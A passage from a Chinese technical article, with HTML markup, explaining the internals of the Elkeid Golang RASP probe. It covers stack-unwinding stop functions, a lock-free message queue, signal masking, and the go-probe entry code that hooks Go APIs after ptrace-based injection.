返回值到栈上，并返回 </span><code data-position="10290" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">false</span></code><span data-position="10296" data-size="4" style="box-sizing: border-box;"> 以将 </span><code data-position="10301" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">r12</span></code><span data-position="10305" data-size="13" style="box-sizing: border-box;"> 寄存器置零完成阻断。在 </span><code data-position="10319" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">handler</span></code><span data-position="10327" data-size="22" style="box-sizing: border-box;"> 函数执行完成后，从栈上恢复寄存器，并根据 </span><code data-position="10350" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">r12</span></code><span data-position="10354" data-size="14" style="box-sizing: border-box;"> 决定返回还是跳转至原函数。</span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="10354" data-size="14" style="box-sizing: border-box;"></span><br style="box-sizing: border-box;"/><span data-position="10369" data-size="19" style="box-sizing: border-box;">为了更好地进行参数读取和阻断，我是使用</span><code data-position="10389" data-size="9" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Templates</span></code><span data-position="10399" data-size="7" style="box-sizing: border-box;"> 编写了一套 </span><code data-position="10407" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10414" data-size="16" style="box-sizing: border-box;"> 类型反射库，可以在运行时获取 </span><code data-position="10431" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10438" data-size="61" style="box-sizing: border-box;"> 类型元数据。元数据包含类型的基础类型成员数，每个成员的相对偏移以及占用大小，还有该类型需要占用的浮点/整数寄存器数。</span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="10438" data-size="61" style="box-sizing: border-box;">在 </span><code data-position="10500" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">handler</span></code><span data-position="10508" data-size="22" style="box-sizing: border-box;"> 函数中，我们可以轻松地利用这些元数据分析 </span><code data-position="10531" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10539" data-size="57" style="box-sizing: border-box;"> 的参数内存布局，正确地取出数据。由于该部分代码细节繁多，限于本文篇幅所以不进行详细讲解，取参与回溯部分请直接阅读</span>仓库代码<span data-position="10667" data-size="1" style="box-sizing: border-box;">。</span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://github.com/bytedance/Elkeid/tree/main/rasp/golang/go/api" target="_blank">https://github.com/bytedance/Elkeid/tree/main/rasp/golang/go/api</a></span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="10667" data-size="1" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="236" data-endline="236" data-id="回溯停止" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">回溯停止</span></strong></h3><p data-startline="237" data-endline="238" data-position="10678" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="10678" data-size="75" style="box-sizing: border-box;">对于调用栈的回溯，上面已经解析过了，我们可以取出当前栈顶的返回地址，在符号表中查找地址相关的函数的名称、文件、行号以及栈帧大小。获取栈帧大小后，取出 </span><code data-position="10754" data-size="14" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">sp + framesize</span></code><span data-position="10769" data-size="59" style="box-sizing: border-box;"> 的上一层返回地址，循环上述步骤即可。但有一个问题是，我们在哪里结束循环？调用链的层数一定有限，那么第一个函数是哪个？</span><br style="box-sizing: border-box;"/><span data-position="10829" data-size="10" style="box-sizing: border-box;">在 1.2 版本中，</span><code data-position="10840" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10847" data-size="12" style="box-sizing: border-box;"> 通过判断函数名是否为 </span><code data-position="10860" data-size="14" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">runtime.goexit</span></code><span data-position="10875" data-size="1" style="box-sizing: border-box;">、</span><code data-position="10877" data-size="14" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">runtime.rt0_go</span></code><span data-position="10892" data-size="27" style="box-sizing: border-box;"> 等入口函数，由此决定是否终止回溯。而对于较新版本的 </span><code data-position="10920" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10927" data-size="13" style="box-sizing: border-box;"> ，符号信息中增加了一个 </span><code data-position="10941" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">funcID</span></code><span data-position="10948" data-size="7" style="box-sizing: border-box;"> 字段，通过 </span><code data-position="10956" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">funcID</span></code><span data-position="10963" data-size="17" style="box-sizing: border-box;"> 判断函数类型是否为入口函数。但 </span><code data-position="10981" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">funcID</span></code><span data-position="10988" data-size="16" style="box-sizing: border-box;"> 的本质与函数名比较无二，而且 </span><code data-position="11005" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">funcID</span></code><span data-position="11012" data-size="29" style="box-sizing: border-box;"> 在版本之间会发生变动，所以最后决定简单地使用函数名判断：</span></p><pre data-startline="239" data-endline="250" data-position="11042" style="box-sizing: border-box;text-align: left;"><code style="box-sizing: border-box;"><p><span data-linenumber="10" style="box-sizing: border-box;"></span></p><p><span style="box-sizing: border-box;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">constexpr</span> <span class="code-snippet__keyword">auto</span> STACK_TOP_FUNCTION = {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.mstart&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.rt0_go&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.mcall&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.morestack&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.lessstack&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.asmcgocall&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.externalthreadhandler&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;runtime.goexit&#34;</span></span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p><span style="box-sizing: border-box;"></span><br/></p></code></pre><h3 data-startline="251" data-endline="251" data-id="消息通信" style="box-sizing: border-box;text-align: left;"><span style="font-size: 18px;"><strong><span data-position="11330" data-size="4" style="font-size: 18px;box-sizing: border-box;">消息通信</span></strong></span></h3><p data-startline="252" data-endline="254" data-position="11335" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="11335" data-size="30" style="box-sizing: border-box;">成功获取入参和调用栈后，要如何把消息传输出去？如果需要进行 </span><code data-position="11366" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">socket</span></code><span data-position="11373" data-size="10" style="box-sizing: border-box;"> 通信，并且不阻塞 </span><code data-position="11384" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="11391" data-size="16" style="box-sizing: border-box;"> 线程，那就需要驻留一个线程在 </span><code data-position="11408" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="11415" data-size="29" style="box-sizing: border-box;"> 进程内，实现一个简单的生产者消费者模型。那么在无法使用 </span><code data-position="11445" data-size="10" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">std::queue</span></code><span data-position="11456" data-size="31" style="box-sizing: border-box;"> 等标准库的情况下，要怎么实现消费丢列，又该如何保证线程安全？</span></p><p data-startline="252" data-endline="254" data-position="11335" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="11488" data-size="17" style="box-sizing: border-box;">为了尽可能地减少性能影响，我利用 </span><code data-position="11506" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">gcc</span></code><span data-position="11511" data-size="16" style="box-sizing: border-box;"> 内置的原子操作实现了一个定长的</span>无锁环形缓冲区(<span style="color: rgb(0, 128, 255);"><a href="https://github.com/Hackerl/zero/blob/master/include/zero/atomic/circular_buffer.h" target="_blank">https://github.com/Hackerl/zero/blob/master/include/zero/atomic/circular_buffer.h</a></span>)<span data-position="11618" data-size="5" style="box-sizing: border-box;">，并使用 </span><code data-position="11624" data-size="9" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">c-runtime</span></code><span data-position="11634" data-size="6" style="box-sizing: border-box;"> 中实现的 </span><code data-position="11641" data-size="18" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">condition variable</span></code><span data-position="11660" data-size="60" style="box-sizing: border-box;"> 做线程同步，实现了一个高效的消息队列。在每个钩子函数触发时，都会将入参和调用栈打包放入队列，如果队列已满则丢弃该消息。</span></p><p data-startline="252" data-endline="254" data-position="11335" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="11721" data-size="2" style="box-sizing: border-box;">在 </span><code data-position="11724" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">pangolin</span></code><span data-position="11734" data-size="13" style="box-sizing: border-box;"> 注入过程中，我们启动一个</span>消费者线程(<span style="color: rgb(0, 128, 255);"><a href="https://github.com/bytedance/Elkeid/blob/main/rasp/golang/client/smith_probe.cpp#L40" target="_blank">https://github.com/bytedance/Elkeid/blob/main/rasp/golang/client/smith_probe.cpp#L40</a></span>)<span data-position="11839" data-size="21" style="box-sizing: border-box;">，从消息队列中消费函数调用信息，序列化为 </span><code data-position="11861" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">json</span></code><span data-position="11866" data-size="5" style="box-sizing: border-box;"> 后通过 </span><code data-position="11872" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">unix socket</span></code><span data-position="11884" data-size="5" style="box-sizing: border-box;"> 传输到 </span><code data-position="11890" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">server</span></code><span data-position="11897" data-size="1" style="box-sizing: border-box;">。</span></p><p data-startline="252" data-endline="254" data-position="11335" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="11897" data-size="1" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="255" data-endline="255" data-id="信号屏蔽" style="box-sizing: border-box;text-align: left;"><span style="font-size: 18px;"><strong><span data-position="11903" data-size="4" style="font-size: 18px;box-sizing: border-box;">信号屏蔽</span></strong></span></h3><p data-startline="256" data-endline="257" data-position="11908" data-size="0" style="box-sizing: border-box;text-align: left;"><code data-position="11909" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="11916" data-size="46" style="box-sizing: border-box;"> 启动时会设置信号处理函数，而在进程收到信号时，内核会随机选择一个线程进行信号处理。我们在 </span><code data-position="11963" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="11970" data-size="10" style="box-sizing: border-box;"> 进程中驻留的几个 </span><code data-position="11981" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">cpp</span></code><span data-position="11985" data-size="34" style="box-sizing: border-box;"> 线程有可能被选中用于执行处信号处理函数，但是处理函数默认当前处于 </span><code data-position="12020" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="12027" data-size="8" style="box-sizing: border-box;"> 线程中，读取 </span><code data-position="12036" data-size="2" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">fs</span></code><span data-position="12039" data-size="8" style="box-sizing: border-box;"> 寄存器以访问 </span><code data-position="12048" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="12055" data-size="5" style="box-sizing: border-box;"> 的全局 </span><code data-position="12061" data-size="1" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">G</span></code><span data-position="12063" data-size="5" style="box-sizing: border-box;">，但此时 </span><code data-position="12069" data-size="2" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">fs</span></code><span data-position="12072" data-size="9" style="box-sizing: border-box;"> 所指向的其实是 </span><code data-position="12082" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">glibc</span></code><span data-position="12088" data-size="3" style="box-sizing: border-box;"> 的 </span><code data-position="12092" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">TLS</span></code><span data-position="12096" data-size="10" style="box-sizing: border-box;">，于是导致异常退出。</span></p><p data-startline="256" data-endline="257" data-position="11908" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="12096" data-size="10" style="box-sizing: border-box;"></span><br style="box-sizing: border-box;"/><span data-position="12107" data-size="23" style="box-sizing: border-box;">为了避免这种情况发生，我们需要手动设置驻留的 </span><code data-position="12131" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">cpp</span></code><span data-position="12135" data-size="13" style="box-sizing: border-box;"> 线程，令其屏蔽所有信号：</span></p><pre data-startline="258" data-endline="268" data-position="12149" style="box-sizing: border-box;text-align: left;"><code style="box-sizing: border-box;"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">sigset_t</span> mask = {}; </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">sigset_t</span> origin_mask = {};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">sigfillset(&amp;mask);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (pthread_sigmask(SIG_SETMASK, &amp;mask, &amp;origin_mask) != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">    LOG_ERROR(<span class="code-snippet__string">&#34;set signal mask failed&#34;</span>);</span></code><code><span class="code-snippet_outer">    quit(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="box-sizing: border-box;"></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p></code></pre><h2 data-startline="269" data-endline="269" data-id="流程" style="box-sizing: border-box;text-align: left;"><span style="font-size: 20px;"><strong><span data-position="12352" data-size="2" style="font-size: 20px;box-sizing: border-box;">流程</span></strong></span></h2><p data-startline="270" data-endline="270" data-position="12355" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="12355" data-size="21" style="box-sizing: border-box;">在学习了原理和实现细节后，我们来解析一下 </span><code data-position="12377" data-size="8" style="box-sizing: border-box;">go-probe</code><span data-position="12387" data-size="7" style="box-sizing: border-box;"> 的执行流程，</span>入口函数<span data-position="12467" data-size="3" style="box-sizing: border-box;">如下：</span></p><pre data-startline="271" data-endline="359" data-position="12471" style="box-sizing: border-box;text-align: left;"><code style="box-sizing: border-box;"><p><span data-linenumber="1" style="box-sizing: border-box;"></span></p><p><span style="box-sizing: border-box;"><span style="box-sizing: border-box;"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&#34;go/symbol/build_info.h&#34;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&#34;go/symbol/line_table.h&#34;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&#34;go/symbol/interface_table.h&#34;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&#34;go/api/api.h&#34;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;zero/log.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;csignal&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;asm/api_hook.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;z_syscall.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">quit</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> status)</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">uintptr_t</span> address = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> *env = getenv(<span class="code-snippet__string">&#34;QUIT&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!env) {</span></code><code><span class="code-snippet_outer">        LOG_WARNING(<span class="code-snippet__string">&#34;can&#39;t found quit env variable&#34;</span>);</span></code><code><span class="code-snippet_outer">        z_exit_group(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!zero::strings::toNumber(env, address, <span class="code-snippet__number">16</span>) || !address) {</span></code><code><span class="code-snippet_outer">        LOG_ERROR(<span class="code-snippet__string">&#34;invalid quit function address&#34;</span>);</span></code><code><span class="code-snippet_outer">        z_exit_group(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ((<span class="code-snippet__keyword">decltype</span>(quit) *)address)(status);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    INIT_FILE_LOG(zero::INFO, <span class="code-snippet__string">&#34;go-probe&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">sigset_t</span> mask = {};</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">sigset_t</span> origin_mask = {};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    sigfillset(&amp;mask);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (pthread_sigmask(SIG_SETMASK, &amp;mask, &amp;origin_mask) != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">        LOG_ERROR(<span class="code-snippet__string">&#34;set signal mask failed&#34;</span>);</span></code><code><span class="code-snippet_outer">        quit(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!gLineTable-&gt;load()) {</span></code><code><span class="code-snippet_outer">        LOG_ERROR(<span class="code-snippet__string">&#34;line table load failed&#34;</span>);</span></code><code><span class="code-snippet_outer">        quit(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (gBuildInfo-&gt;load()) {</span></code><code><span class="code-snippet_outer">        LOG_INFO(<span class="code-snippet__string">&#34;go version: %s&#34;</span>, gBuildInfo-&gt;mVersion.c_str());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        CInterfaceTable table = {};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!table.load()) {</span></code><code><span class="code-snippet_outer">            LOG_ERROR(<span class="code-snippet__string">&#34;interface table load failed&#34;</span>);</span></code><code><span class="code-snippet_outer">            quit(<span class="code-snippet__number">-1</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        table.findByFuncName(<span class="code-snippet__string">&#34;errors.(*errorString).Error&#34;</span>, (go::interface_item **)CAPIBase::errorInterface());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    gSmithProbe-&gt;start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">auto</span> &amp;api : GOLANG_API) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; gLineTable-&gt;mFuncNum; i++) {</span></code><code><span class="code-snippet_outer">            CFunc func = {};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!gLineTable-&gt;getFunc(i, func))</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">char</span> *name = func.getName();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">void</span> *entry = (<span class="code-snippet__keyword">void</span> *)func.getEntry();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ((api.ignoreCase ? strcasecmp(api.name, name) : <span class="code-snippet__built_in">strcmp</span>(api.name, name)) == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                LOG_INFO(<span class="code-snippet__string">&#34;hook %s: %p&#34;</span>, name, entry);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (hookAPI(entry, (<span class="code-snippet__keyword">void</span> *)api.metadata.entry, api.metadata.origin) &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                    LOG_WARNING(<span class="code-snippet__string">&#34;hook %s failed&#34;</span>, name);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    pthread_sigmask(SIG_SETMASK, &amp;origin_mask, <span class="code-snippet__literal">nullptr</span>);</span></code><code><span class="code-snippet_outer">    quit(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="box-sizing: border-box;"></span><br/></p></code></pre><p data-startline="360" data-endline="362" data-position="14649" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="14649" data-size="7" style="box-sizing: border-box;">需要明确的是，</span><code data-position="14657" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">go-probe</span></code><span data-position="14666" data-size="3" style="box-sizing: border-box;"> 由 </span><code data-position="14670" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">pangolin</span></code><span data-position="14679" data-size="5" style="box-sizing: border-box;"> 注入到 </span><code data-position="14685" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="14692" data-size="16" style="box-sizing: border-box;"> 进程的主线程中临时运行。同时 </span><code data-position="14709" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">pangolin</span></code><span data-position="14718" data-size="4" style="box-sizing: border-box;"> 使用 </span><code data-position="14723" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ptrace</span></code><span data-position="14730" data-size="10" style="box-sizing: border-box;"> 持续监听该线程的 </span><code data-position="14741" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">syscall</span></code><span data-position="14749" data-size="8" style="box-sizing: border-box;"> 调用，拦截到 </span><code data-position="14758" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">main</span></code><span data-position="14763" data-size="7" style="box-sizing: border-box;"> 函数发出的 </span><code data-position="14771" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">exit</span></code><span data-position="14776" data-size="3" style="box-sizing: border-box;"> 或 </span><code data-position="14780" data-size="10" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">exit_group</span></code><span data-position="14791" data-size="42" style="box-sizing: border-box;"> 调用后，恢复线程状态并结束注入流程。然而可以看到，上面的代码中会优先调用环境变量 </span><code data-position="14834" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">QUIT</span></code><span data-position="14839" data-size="13" style="box-sizing: border-box;"> 指向的函数，这又是为何？</span></p><p data-startline="360" data-endline="362" data-position="14649" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="14853" data-size="24" style="box-sizing: border-box;">在实际的部署过程中，由于资源限制等诸多特殊原因，</span><code data-position="14878" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">pangolin</span></code><span data-position="14887" data-size="13" style="box-sizing: border-box;"> 进程可能会在注入期间被 </span><code data-position="14901" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">kill</span></code><span data-position="14906" data-size="6" style="box-sizing: border-box;">。那么此时 </span><code data-position="14913" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">main</span></code><span data-position="14918" data-size="7" style="box-sizing: border-box;"> 函数执行的 </span><code data-position="14926" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">syscall</span></code><span data-position="14934" data-size="7" style="box-sizing: border-box;"> 就无人拦截，</span><code data-position="14942" data-size="10" style="box-sizing: border-box;">exit_group</code><span data-position="14953" data-size="20" style="box-sizing: border-box;"> 会真正地导致业务进程退出。为了让执行 </span><code data-position="14974" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">go-probe</span></code><span data-position="14983" data-size="11" style="box-sizing: border-box;"> 的线程能够自我恢复，</span><code data-position="14995" data-size="8" style="box-sizing: border-box;">pangolin</code><span data-position="15004" data-size="15" style="box-sizing: border-box;"> 会提前将线程状态快照写入到 </span><code data-position="15020" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="15027" data-size="11" style="box-sizing: border-box;"> 内存中。同时遗留在 </span><code data-position="15039" data-size="6" style="box-sizing: border-box;">Golang</code><span data-position="15046" data-size="6" style="box-sizing: border-box;"> 进程中的 </span><code data-position="15053" data-size="9" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">shellcode</span></code><span data-position="15064" data-size="6" style="box-sizing: border-box;"> 包含一个 </span><span style="background-color: rgb(214, 214, 214);">quit</span><span data-position="15152" data-size="22" style="box-sizing: border-box;"> 函数(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a 